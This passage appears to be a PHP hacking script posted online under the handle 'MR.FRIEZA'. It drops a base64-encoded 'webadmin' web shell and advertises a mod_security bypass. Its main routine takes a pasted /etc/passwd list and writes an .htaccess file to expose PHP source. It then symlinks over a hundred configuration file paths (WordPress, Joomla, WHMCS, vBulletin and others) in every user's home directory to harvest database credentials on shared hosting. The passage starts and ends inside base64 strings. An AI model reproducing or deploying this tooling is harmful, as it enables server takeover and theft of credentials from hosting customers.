Z0IH0NCi5saXN0aW5nIC5ncm91cCB7IHRleHQtYWxpZ246IGxlZnQgfQ0KLmxpc3RpbmcgLmZ1bmN0aW9ucyB7IHRleHQtYWxpZ246IGxlZnQgfQ0KLmxpc3RpbmdfZm9vdGVyIHRkIHsgYmFja2dyb3VuZDogI2VlZTsgYm9yZGVyOiAxcHggc29saWQgc2lsdmVyIH0NCiNkaXJlY3RvcnksICN1cGxvYWQsICNjcmVhdGUsIC5saXN0aW5nX2Zvb3RlciB0ZCwgI2Vycm9yIHRkLCAjbm90aWNlIHRkIHsgdGV4dC1hbGlnbjogbGVmdDsgcGFkZGluZzogM3B0IH0NCiNkaXJlY3RvcnkgeyBiYWNrZ3JvdW5kOiAjZWVlOyBib3JkZXI6IDFweCBzb2xpZCBzaWx2ZXIgfQ0KI3VwbG9hZCB7IHBhZGRpbmctdG9wOiAxZW0gfQ0KI2NyZWF0ZSB7IHBhZGRpbmctYm90dG9tOiAxZW0gfQ0KLnNtYWxsLCAuc21hbGwgb3B0aW9uIHsgZm9udC1zaXplOiB4LXNtYWxsIH0NCnRleHRhcmVhIHsgYm9yZGVyOiBub25lOyBiYWNrZ3JvdW5kOiB3aGl0ZSB9DQp0YWJsZS5kaWFsb2cgeyBtYXJnaW4tbGVmdDogYXV0bzsgbWFyZ2luLXJpZ2h0OiBhdXRvIH0NCnRkLmRpYWxvZyB7IGJhY2tncm91bmQ6ICNlZWU7IHBhZGRpbmc6IDFleDsgYm9yZGVyOiAxcHggc29saWQgc2lsdmVyOyB0ZXh0LWFsaWduOiBjZW50ZXIgfQ0KI3Blcm1pc3Npb24geyBtYXJnaW4tbGVmdDogYXV0bzsgbWFyZ2luLXJpZ2h0OiBhdXRvIH0NCiNwZXJtaXNzaW9uIHRkIHsgcGFkZGluZy1sZWZ0OiAzcHQ7IHBhZGRpbmctcmlnaHQ6IDNwdDsgdGV4dC1hbGlnbjogY2VudGVyIH0NCnRkLnBlcm1pc3Npb25fYWN0aW9uIHsgdGV4dC1hbGlnbjogcmlnaHQgfQ0KI3N5bWxpbmsgeyBiYWNrZ3JvdW5kOiAjZWVlOyBib3JkZXI6IDFweCBzb2xpZCBzaWx2ZXIgfQ0KI3N5bWxpbmsgdGQgeyB0ZXh0LWFsaWduOiBsZWZ0OyBwYWRkaW5nOiAzcHQgfQ0KI3JlZF9idXR0b24geyB3aWR0aDogMTIwcHg7IGNvbG9yOiAjNDAwIH0NCiNncmVlbl9idXR0b24geyB3aWR0aDogMTIwcHg7IGNvbG9yOiAjMDQwIH0NCiNlcnJvciB0ZCB7IGJhY2tncm91bmQ6IG1hcm9vbjsgY29sb3I6IHdoaXRlOyBib3JkZXI6IDFweCBzb2xpZCBzaWx2ZXIgfQ0KI25vdGljZSB0ZCB7IGJhY2tncm91bmQ6IGdyZWVuOyBjb2xvcjogd2hpdGU7IGJvcmRlcjogMXB4IHNvbGlkIHNpbHZlciB9DQojbm90aWNlIHByZSwgI2Vycm9yIHByZSB7IGJhY2tncm91bmQ6IHNpbHZlcjsgY29sb3I6IGJsYWNrOyBwYWRkaW5nOiAxZXg7IG1hcmdpbi1sZWZ0OiAxZXg7IG1hcmdpbi1yaWdodDogMWV4IH0NCmNvZGUgeyBmb250LXNpemU6IDEycHQgfQ0KdGQgeyB3aGl0ZS1zcGFjZTogbm93cmFwIH0NCmgxIHsNCmRpc3BsYXk6IGJsb2NrOw0KZm9udC1zaXplOiAyZW07DQotd2Via2l0LW1hcmdpbi1iZWZvcmU6IDAuNjdlbTsNCi13ZWJraXQtbWFyZ2luLWFmdGVyOiAwLjY3ZW07DQotd2Via2l0LW1hcmdpbi1zdGFydDogMHB4Ow0KLXdlYmtpdC1tYXJnaW4tZW5kOiAwcHg7DQpmb250LXdlaWdodDogYm9sZDsNCn0NCjwvc3R5bGU+DQoNCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCjwhLS0NCmZ1bmN0aW9uIGFjdGl2YXRlIChuYW1lKSB7DQoJaWYgKGRvY3VtZW50ICYmIGRvY3VtZW50LmZvcm1zWzBdICYmIGRvY3VtZW50LmZvcm1zWzBdLmVsZW1lbnRzWydmb2N1cyddKSB7DQoJCWRvY3VtZW50LmZvcm1zWzBdLmVsZW1lbnRzWydmb2N1cyddLnZhbHVlID0gbmFtZTsNCgl9DQp9DQovLy0tPg0KPC9zY3JpcHQ+DQoNCjwvaGVhZD4NCjxib2R5Pg0KDQoNCkVORDsNCg0KfQ0KDQpmdW5jdGlvbiBodG1sX2Zvb3RlciAoKSB7DQoNCgllY2hvIDw8PEVORA0KPC9ib2R5Pg0KPC9odG1sPg0KRU5EOw0KDQp9DQoNCmZ1bmN0aW9uIG5vdGljZSAoJHBocmFzZSkgew0KCWdsb2JhbCAkY29sczsNCg0KCSRhcmdzID0gZnVuY19nZXRfYXJncygpOw0KCWFycmF5X3NoaWZ0KCRhcmdzKTsNCg0KCXJldHVybiAnPHRyIGlkPSJub3RpY2UiPg0KCTx0ZCBjb2xzcGFuPSInIC4gJGNvbHMgLiAnIj4nIC4gcGhyYXNlKCRwaHJhc2UsICRhcmdzKSAuICc8L3RkPg0KPC90cj4NCic7DQoNCn0NCg0KZnVuY3Rpb24gZXJyb3IgKCRwaHJhc2UpIHsNCglnbG9iYWwgJGNvbHM7DQoNCgkkYXJncyA9IGZ1bmNfZ2V0X2FyZ3MoKTsNCglhcnJheV9zaGlmdCgkYXJncyk7DQoNCglyZXR1cm4gJzx0ciBpZD0iZXJyb3IiPg0KCTx0ZCBjb2xzcGFuPSInIC4gJGNvbHMgLiAnIj4nIC4gcGhyYXNlKCRwaHJhc2UsICRhcmdzKSAuICc8L3RkPg0KPC90cj4NCic7DQoNCn0NCiBlY2hvJ0VkaXQgQnkgTVIuRlJJRVpBJzsNCg0KPz4NCg==';
  147.  
  148. $file = fopen("webadmin.php" ,"w+");
  149. $write = fwrite ($file ,base64_decode($webadmin));
  150. fclose($file);
  151. chmod("webadmin.php",0755);
  152.  
  153. echo "<b>mod_security done..............</b>
  154. You Will Find It in off folder With WEbadmin sh3ll
  155. <br>";
  156. echo "<br><b><a href=off/webadmin.php target='_blank'><div><span style=color:#6ebe0b;font-family:Arial;font-size:11px;>Or Go Here </span></div></a></b>";
  157.  
  158. echo "</font></center></td></tr></table> ";
  159.  
  160. exit;
  161. }
  162.  
  163.  
  164. }
  165.  
  166. if(isset($_GET['0']))
  167. {
  168. echo '<table align="center"><tr><td><b><font color="orange">>Author:<br>-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-<br>
  169. Coder: MR.FRIEZA <br>Country: Saudi<br>Website:<a href="http://jd-hckrz.cu.cc">
  170. Jd-Hckrz</a><br>Email: ax2@hotmail.no<br>Gretz to => iq-team > s3c-k > v4-team > is-sec
  171. <br/>-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-<br/><br/></b></td></tr></table>';
  172. }
  173.  
  174.  
  175.  
  176. if(isset($_GET['conf']))
  177. {
  178. ?>
  179. <form method="POST">
  180.  
  181. Passwd File:
  182.  
  183. <p>&nbsp;</p>
  184.  
  185. <textarea name="passwd" ></textarea></br>
  186.  
  187. <p>&nbsp;</p>
  188.  
  189. <input name="cat" size="80" value="Start" type="submit"></br>
  190.  
  191. </form>
  192.  
  193.  
  194. <?php
  195.  
  196.  
  197.  
  198.  
  199.  
  200.  
  201.  
  202.  
  203.  
  204.  
  205. if($_POST["cat"] && !$_POST["passwd"]==""){
  206.  
  207. echo "Checking Functions ...<br>";
  208.  
  209. $functions=@ini_get("disable_functions");
  210.  
  211. if(eregi("symlink",$functions)){
  212.  
  213. die("<font color=red>Symlink Function is DisableD, You Can't Continue This Process !!</font>");
  214.  
  215. }
  216.  
  217. echo "Checking Done Without Problems, Continue ...<br>";
  218.  
  219. @mkdir("configs", 0755);
  220.  
  221. @chdir("configs");
  222.  
  223. $htaccess="
  224.  
  225. Options all
  226.  
  227. Options +Indexes
  228.  
  229. Options +FollowSymLinks
  230.  
  231. DirectoryIndex Sux.html
  232.  
  233. AddType text/plain .php
  234.  
  235. AddHandler server-parsed .php
  236.  
  237. AddType text/plain .html
  238.  
  239. AddHandler txt .html
  240.  
  241. Require None
  242.  
  243. Satisfy Any
  244.  
  245. ";
  246.  
  247. file_put_contents(".htaccess",$htaccess,FILE_APPEND);
  248.  
  249. $passwd=$_POST["passwd"];
  250.  
  251. $passwd=explode("\n",$passwd);
  252.  
  253. echo "Start Symlinking ...<br>";
  254.  
  255. foreach($passwd as $pwd){
  256.  
  257. $pawd=explode(":",$pwd);
  258.  
  259. $user =$pawd[0];
  260.  
  261. // Now symlink Them
  262.  
  263. @symlink('/home/'.$user.'/public_html/includes/configure.php',$user.'-shop.txt');
  264.  
  265. @symlink('/home/'.$user.'/public_html/os/includes/configure.php',$user.'-shop-os.txt');
  266.  
  267. @symlink('/home/'.$user.'/public_html/oscom/includes/configure.php',$user.'-oscom.txt');
  268.  
  269. @symlink('/home/'.$user.'/public_html/oscommerce/includes/configure.php',$user.'-oscommerce.txt');
  270.  
  271. @symlink('/home/'.$user.'/public_html/oscommerces/includes/configure.php',$user.'-oscommerces.txt');
  272.  
  273. @symlink('/home/'.$user.'/public_html/shop/includes/configure.php',$user.'-shop2.txt');
  274.  
  275. @symlink('/home/'.$user.'/public_html/shopping/includes/configure.php',$user.'-shop-shopping.txt');
  276.  
  277. @symlink('/home/'.$user.'/public_html/sale/includes/configure.php',$user.'-sale.txt');
  278.  
  279. @symlink('/home/'.$user.'/public_html/amember/config.inc.php',$user.'-amember.txt');
  280.  
  281. @symlink('/home/'.$user.'/public_html/config.inc.php',$user.'-amember2.txt');
  282.  
  283. @symlink('/home/'.$user.'/public_html/members/configuration.php',$user.'-members.txt');
  284.  
  285. @symlink('/home/'.$user.'/public_html/config.php',$user.'-4images1.txt');
  286.  
  287. @symlink('/home/'.$user.'/public_html/forum/includes/config.php',$user.'-forum.txt');
  288.  
  289. @symlink('/home/'.$user.'/public_html/forums/includes/config.php',$user.'-forums.txt');
  290.  
  291. @symlink('/home/'.$user.'/public_html/admin/conf.php',$user.'-5.txt');
  292.  
  293. @symlink('/home/'.$user.'/public_html/admin/config.php',$user.'-4.txt');
  294.  
  295. @symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');
  296.  
  297. @symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');
  298.  
  299. @symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');
  300.  
  301. @symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');
  302.  
  303. @symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');
  304.  
  305. @symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');
  306.  
  307. @symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');
  308.  
  309. @symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');
  310.  
  311. @symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');
  312.  
  313. @symlink('/home/'.$user.'/public_html/wordpress/beta/wp-config.php',$user.'-wp13-wordpress-beta.txt');
  314.  
  315. @symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');
  316.  
  317. @symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');
  318.  
  319. @symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');
  320.  
  321. @symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');
  322.  
  323. @symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');
  324.  
  325. @symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');
  326.  
  327. @symlink('/home/'.$user.'/public_html/protal/wp-config.php',$user.'-wp-protal.txt');
  328.  
  329. @symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');
  330.  
  331. @symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');
  332.  
  333. @symlink('/home/'.$user.'/public_html/test/wp-config.php',$user.'-wp-test.txt');
  334.  
  335. @symlink('/home/'.$user.'/public_html/arcade/functions/dbclass.php',$user.'-ibproarcade.txt');
  336.  
  337. @symlink('/home/'.$user.'/public_html/arcade/functions/dbclass.php',$user.'-ibproarcade.txt');
  338.  
  339. @symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');
  340.  
  341. @symlink('/home/'.$user.'/public_html/protal/configuration.php',$user.'-joomla-protal.txt');
  342.  
  343. @symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');
  344.  
  345. @symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');
  346.  
  347. @symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');
  348.  
  349. @symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');
  350.  
  351. @symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');
  352.  
  353. @symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');
  354.  
  355. @symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');
  356.  
  357. @symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');
  358.  
  359. @symlink('/home/'.$user.'/public_html/vb3/includes/config.php',$user.'-vb3-config.txt');
  360.  
  361. @symlink('/home/'.$user.'/public_html/cc/includes/config.php',$user.'-vb1-config.txt');
  362.  
  363. @symlink('/home/'.$user.'/public_html/includes/config.php',$user.'-includes-vb.txt');
  364.  
  365. @symlink('/home/'.$user.'/public_html/forum/includes/class_core.php',$user.'-vbluttin-class_core.php.txt');
  366.  
  367. @symlink('/home/'.$user.'/public_html/vb/includes/class_core.php',$user.'-vbluttin-class_core.php1.txt');
  368.  
  369. @symlink('/home/'.$user.'/public_html/cc/includes/class_core.php',$user.'-vbluttin-class_core.php2.txt');
  370.  
  371. @symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm15.txt');
  372.  
  373. @symlink('/home/'.$user.'/public_html/central/configuration.php',$user.'-whm-central.txt');
  374.  
  375. @symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');
  376.  
  377. @symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');
  378.  
  379. @symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');
  380.  
  381. @symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmcs.txt');
  382.  
  383. @symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support.txt');
  384.  
  385. @symlink('/home/'.$user.'/public_html/supp/configuration.php',$user.'-supp.txt');
  386.  
  387. @symlink('/home/'.$user.'/public_html/secure/configuration.php',$user.'-sucure.txt');
  388.  
  389. @symlink('/home/'.$user.'/public_html/secure/whm/configuration.php',$user.'-sucure-whm.txt');
  390.  
  391. @symlink('/home/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-sucure-whmcs.txt');
  392.  
  393. @symlink('/home/'.$user.'/public_html/cpanel/configuration.php',$user.'-cpanel.txt');
  394.  
  395. @symlink('/home/'.$user.'/public_html/panel/configuration.php',$user.'-panel.txt');
  396.  
  397. @symlink('/home/'.$user.'/public_html/host/configuration.php',$user.'-host.txt');
  398.  
  399. @symlink('/home/'.$user.'/public_html/hosting/configuration.php',$user.'-hosting.txt');
  400.  
  401. @symlink('/home/'.$user.'/public_html/hosts/configuration.php',$user.'-hosts.txt');
  402.  
  403. @symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');
  404.  
  405. @symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-whmcs2.txt');
  406.  
  407. @symlink('/home/'.$user.'/public_html/clients/configuration.php',$user.'-clients.txt');
  408.  
  409. @symlink('/home/'.$user.'/public_html/client/configuration.php',$user.'-client.txt');
  410.  
  411. @symlink('/home/'.$user.'/public_html/clientes/configuration.php',$user.'-clientes.txt');
  412.  
  413. @symlink('/home/'.$user.'/public_html/cliente/configuration.php',$user.'-client.txt');
  414.  
  415. @symlink('/home/'.$user.'/public_html/clientsupport/configuration.php',$user.'-clientsupport.txt');
  416.  
  417. @symlink('/home/'.$user.'/public_html/billing/configuration.php',$user.'-billing.txt');
  418.  
  419. @symlink('/home/'.$user.'/public_html/manage/configuration.php',$user.'-whm-manage.txt');
  420.  
  421. @symlink('/home/'.$user.'/public_html/my/configuration.php',$user.'-whm-my.txt');
  422.  
  423. @symlink('/home/'.$user.'/public_html/myshop/configuration.php',$user.'-whm-myshop.txt');
  424.  
  425. @symlink('/home/'.$user.'/public_html/includes/dist-configure.php',$user.'-zencart.txt');
  426.  
  427. @symlink('/home/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-shop-zencart.txt');
  428.  
  429. @symlink('/home/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-shop-ZCshop.txt');
  430.  
  431. @symlink('/home/'.$user.'/public_html/Settings.php',$user.'-smf.txt');
  432.  
  433. @symlink('/home/'.$user.'/public_html/smf/Settings.php',$user.'-smf2.txt');
  434.  
  435. @symlink('/home/'.$user.'/public_html/forum/Settings.php',$user.'-smf-forum.txt');
  436.  
  437. @symlink('/home/'.$user.'/public_html/forums/Settings.php',$user.'-smf-forums.txt');
  438.  
  439. @symlink('/home/'.$user.'/public_html/upload/includes/config.php',$user.'-up.txt');
  440.  
  441. @symlink('/home/'.$user.'/public_html/article/config.php',$user.'-Nwahy.txt');
  442.  
  443. @symlink('/home/'.$user.'/public_html/up/includes/config.php',$user.'-up2.txt');
  444.  
  445. @symlink('/home/'.$user.'/public_html/conf_global.php',$user.'-6.txt');
  446.  
  447. @symlink('/home/'.$user.'/public_html/include/db.php',$user.'-7.txt');
  448.  
  449. @symlink('/home/'.$user.'/public_html/connect.php',$user.'-PHP-Fusion.txt');
  450.  
  451. @symlink('/home/'.$user.'/public_html/mk_conf.php',$user.'-9.txt');
  452.  
  453. @symlink('/home/'.$user.'/public_html/includes/config.php',$user.'-traidnt1.txt');
  454.  
  455. @symlink('/home/'.$user.'/public_html/config.php',$user.'-4images.txt');
  456.  
  457. @symlink('/home/'.$user.'/public_html/sites/default/settings.php',$user.'-Drupal.txt');
  458.  
  459. @symlink('/home/'.$user.'/public_html/member/configuration.php',$user.'-1member.txt') ;
  460.  
  461. @symlink('/home/'.$user.'/public_html/billings/configuration.php',$user.'-billings.txt') ;
  462.  
  463. @symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');
  464.  
  465. @symlink('/home/'.$user.'/public_html/supports/configuration.php',$user.'-supports.txt');
  466.  
  467. @symlink('/home/'.$user.'/public_html/requires/config.php',$user.'-AM4SS-hosting.txt');
  468.  
  469. @symlink('/home/'.$user.'/public_html/supports/includes/iso4217.php',$user.'-hostbills-supports.txt');
  470.  
  471. @symlink('/home/'.$user.'/public_html/client/includes/iso4217.php',$user.'-hostbills-client.txt');
  472.  
  473. @symlink('/home/'.$user.'/public_html/support/includes/iso4217.php',$user.'-hostbills-support.txt');
  474.  
  475. @symlink('/home/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-hostbills-billing.txt');
  476.  
  477. @symlink('/home/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-hostbills-billings.txt');
  478.  
  479. @symlink('/home/'.$user.'/public_html/host/includes/iso4217.php',$user.'-hostbills-host.txt');
  480.  
  481. @symlink('/home/'.$user.'/public_html/hosts/includes/iso4217.php',$user.'-hostbills-hosts.txt');
  482.  
  483. @symlink('/home/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-hostbills-hosting.txt');
  484.  
  485. @symlink('/home/'.$user.'/public_html/hostings/includes/iso4217.php',$user.'-hostbills-hostings.txt');
  486.  
  487. @symlink('/home/'.$user.'/public_html/includes/iso4217.php',$user.'-hostbills.txt');
  488.  
  489. @symlink('/home/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-hostbills-hostbills.txt');
  490.  
  491. @symlink('/home/'.$user.'/public_html/hostbill/includes/iso4217.php',$user.'-hostbills-hostbill.txt');
  492.  
  493. }
  494.  
  495. echo "DonE with Success --> <a href='configs'>Click Here</a><br>";
  496.  
  497.  
  498.  
  499. }
  500. }
  501. if(isset($_GET['web']))
  502. {
  503.  
  504. @mkdir('webadmin', 0755);
  505. chdir('webadmin');
  506. $webadmin = 'PD9waHANCi8qDQogKiB3ZWJhZG1pbi5waHAgLSBhIHNpbXBsZSBXZWItYmFzZWQgZmlsZSBtYW5hZ2VyDQogKiBDb3B5cmlnaHQgKEMpIDIwMDQgIERhbmllbCBXYWNrZXIgPGRhbmllbC53YWNrZXJAd2ViLmRlPg0KICoNCiAqIFRoaXMgcHJvZ3JhbSBpcyBmcmVlIHNvZnR3YXJlOyB5b3UgY2FuIHJlZGlzdHJpYnV0ZSBpdCBhbmQvb3IgbW9kaWZ5DQogKiBpdCB1bmRlciB0aGUgdGVybXMgb2YgdGhlIEdOVSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlIGFzIHB1Ymxpc2hlZCBieQ0KICogdGhlIEZyZWUgU29mdHdhcmUgRm91bmRhdGlvbjsgZWl0aGVyIHZlcnNpb24gMiBvZiB0aGUgTGljZW5zZSwgb3INCiAqIChhdCB5b3VyIG9wdGlvbikgYW55IGxhdGVyIHZlcnNpb24uDQogKg0KICogVGhpcyBwcm9ncmFtIGlzIGRpc3RyaWJ1dGVkIGluIHRoZSBob3BlIHRoYXQgaXQgd2lsbCBiZSB1c2VmdWwsDQogKiBidXQgV0lUSE9VVCBBTlkgV0FSUkFOVFk7IHdpdGhvdXQgZXZlbiB0aGUgaW1wbGllZCB3YXJyYW50eSBvZg0KICogTUVSQ0hBTlRBQklMSVRZIG9yIEZJVE5FU1MgRk9SIEEgUEFSVElDVUxBUiBQVVJQT1NFLiAgU2VlIHRoZQ0KICogR05VIEdlbmVyYWwgUHVibGljIExpY2Vuc2UgZm9yIG1vcmUgZGV0YWlscy4NCiAqDQogKiBZb3Ugc2hvdWxkIGhhdmUgcmVjZWl2ZWQgYSBjb3B5IG9mIHRoZSBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZQ0KICogYWxvbmcgd2l0aCB0aGlzIHByb2dyYW07IGlmIG5vdCwgd3JpdGUgdG8gdGhlIEZyZWUgU29mdHdhcmUNCiAqIEZvdW5kYXRpb24sIEluYy4sIDY3NSBNYXNzIEF2ZSwgQ2FtYnJpZGdlLCBNQSAwMjEzOSwgVVNBLg0KICoNCiAqIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiAqIFdoaWxlIHVzaW5nIHRoaXMgc2NyaXB0LCBkbyBOT1QgbmF2aWdhdGUgd2l0aCB5b3VyIGJyb3dzZXIncyBiYWNrIGFuZA0KICogZm9yd2FyZCBidXR0b25zISBBbHdheXMgb3BlbiBmaWxlcyBpbiBhIG5ldyBicm93c2VyIHRhYiENCiAqIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiAqDQogKiBUaGlzIGlzIFZlcnNpb24gMC45LCByZXZpc2lvbiA1DQogKiA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQogKg0KICogQ2hhbmdlcyBvZiByZXZpc2lvbiA1DQogKiA8ZGFuaWVsLndhY2tlckB3ZWIuZGU+DQogKiAgICBhZGRlZCBsYW5ndWFnZSBhdXRvIHNlbGVjdA0KICogICAgZml4ZWQgc3ltbGlua3MgaW4gZGlyZWN0b3J5IGxpc3RpbmcNCiAqICAgIHJlbW92ZWQgd29yZC13cmFwIGluIGVkaXQgdGV4dGFyZWENCiAqDQogKiBDaGFuZ2VzIG9mIHJldmlzaW9uIDQNCiAqIDxkYWxvYW5AZ3VpZGVvLmZyPg0KICogICAgYWRkZWQgRnJlbmNoIHRyYW5zbGF0aW9uDQogKiA8YW5kZXJzQHdpaWsuY2M+DQogKiAgICBhZGRlZCBTd2VkaXNoIHRyYW5zbGF0aW9uDQogKg0KICogQ2hhbmdlcyBvZiByZXZpc2lvbiAzDQogKiA8bnp1bnRhQGdhYnJpZWxlLWVyYmEuaXQ+DQogKiAgICBpbXByb3ZlZCBJdGFsaWFuIHRyYW5zbGF0aW9uDQogKg0KICogQ2hhbmdlcyBvZiByZXZpc2lvbiAyDQogKiA8ZGFuaWVsLndhY2tlckB3ZWIuZGU+DQogKiAgICBnb3QgaW1hZ2VzIHdvcmsgaW4gc29tZSBvbGQgYnJvd3NlcnMNCiAqICAgIGZpeGVkIGNyZWF0aW9uIG9mIGRpcmVjdG9yaWVzDQogKiAgICBmaXhlZCBmaWxlcyBkZWxldGlvbg0KICogICAgaW1wcm92ZWQgcGF0aCBoYW5kbGluZw0KICogICAgYWRkZWQgbWlzc2luZyB3b3JkICdub3RfY3JlYXRlZCcNCiAqIDx0aWxsQHR1eGVuLmRlPg0KICogICAgaW1wcm92ZWQgaHVtYW4gcmVhZGFiaWxpdHkgb2YgZmlsZSBzaXplcw0KICogPG56dW50YUBnYWJyaWVsZS1lcmJhLml0Pg0KICogICAgYWRkZWQgSXRhbGlhbiB0cmFuc2xhdGlvbg0KICoNCiAqIENoYW5nZXMgb2YgcmV2aXNpb24gMQ0KICogPGRhbmllbC53YWNrZXJAd2ViLmRlPg0KICogICAgd2ViYWRtaW4ucGhwIGNvbXBsZXRlbHkgcmV3cml0dGVuOg0KICogICAgLSBjbGVhbiBYSFRNTC9DU1Mgb3V0cHV0DQogKiAgICAtIHNldmVyYWwgZmlsZXMgc2VsZWN0YWJsZQ0KICogICAgLSBzdXBwb3J0IGZvciB3aW5kb3dzIHNlcnZlcnMNCiAqICAgIC0gbm8gbW9yZSB0cmVldmlldywgYmVjYXVzZQ0KICogICAgICAtIHdlYmFkbWluLnBocCBpcyBhID5zaW1wbGU8IGZpbGUgbWFuYWdlcg0KICogICAgICAtIHBlcmZvcm1hbmNlIHByb2JsZW1zICh0b28gbXVjaCBhZGRpdGlvbmFsIGNvZGUpDQogKiAgICAgIC0gSSBkb24ndCBsaWtlOiBmcmFtZXMsIGphdmEtc2NyaXB0LCB0byByZWxvYWQgYWZ0ZXIgZXZlcnkgdHJlZXZpZXctY2xpY2sNCiAqICAgIC0gZXhlY3V0aW9uIG9mIHNoZWxsIHNjcmlwdHMNCiAqICAgIC0gaW50cm9kdWNlZCByZXZpc2lvbiBudW1iZXJzDQogKg0KLyogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAqLw0KDQovKiBZb3VyIGxhbmd1YWdlOg0KICogJ2VuJyAtIEVuZ2xpc2gNCiAqICdkZScgLSBHZXJtYW4NCiAqICdmcicgLSBGcmVuY2gNCiAqICdpdCcgLSBJdGFsaWFuDQogKiAnc2UnIC0gU3dlZGlzaA0KIConYXInIC0gYXJhYmljIGFkZCBieSBNUi5GUklFWkENCiAqICdhdXRvJyAtIGF1dG9zZWxlY3QNCiAqLw0KJGxhbmcgPSAnYXInOw0KDQovKiBDaGFyc2V0IG9mIHlvdXIgZmlsZW5hbWVzOg0KICovDQokY2hhcnNldCA9ICd1dGYtOCc7DQoNCi8qIEhvbWVkaXI6DQogKiBGb3IgZXhhbXBsZTogJy4vJyAtIHRoZSBzY3JpcHQncyBkaXJlY3RvcnkNCiAqLw0KJGhvbWVkaXIgPSAnLi8nOw0KDQovKiBTaXplIG9mIHRoZSBlZGl0IHRleHRhcmVhDQogKi8NCiRlZGl0Y29scyA9IDgwOw0KJGVkaXRyb3dzID0gMjU7DQoNCi8qIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiAqIE9wdGlvbmFsIGNvbmZpZ3VyYXRpb24gKHJlbW92ZSAjIHRvIGVuYWJsZSkNCiAqLw0KDQovKiBQZXJtaXNzaW9uIG9mIGNyZWF0ZWQgZGlyZWN0b3JpZXM6DQogKiBGb3IgZXhhbXBsZTogMDcwNSB3b3VsZCBiZSAnZHJ3eC0tLXIteCcuDQogKi8NCiMgJGRpcnBlcm1pc3Npb24gPSAwNzA1Ow0KDQovKiBQZXJtaXNzaW9uIG9mIGNyZWF0ZWQgZmlsZXM6DQogKiBGb3IgZXhhbXBsZTogMDYwNCB3b3VsZCBiZSAnLXJ3LS0tLXItLScuDQogKi8NCiMgJGZpbGVwZXJtaXNzaW9uID0gMDYwNDsNCg0KLyogRmlsZW5hbWVzIHJlbGF0ZWQgdG8gdGhlIGFwYWNoZSB3ZWIgc2VydmVyOg0KICovDQokaHRhY2Nlc3MgPSAnLmh0YWNjZXNzJzsNCiRodHBhc3N3ZCA9ICcuaHRwYXNzd2QnOw0KDQovKiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICovDQoNC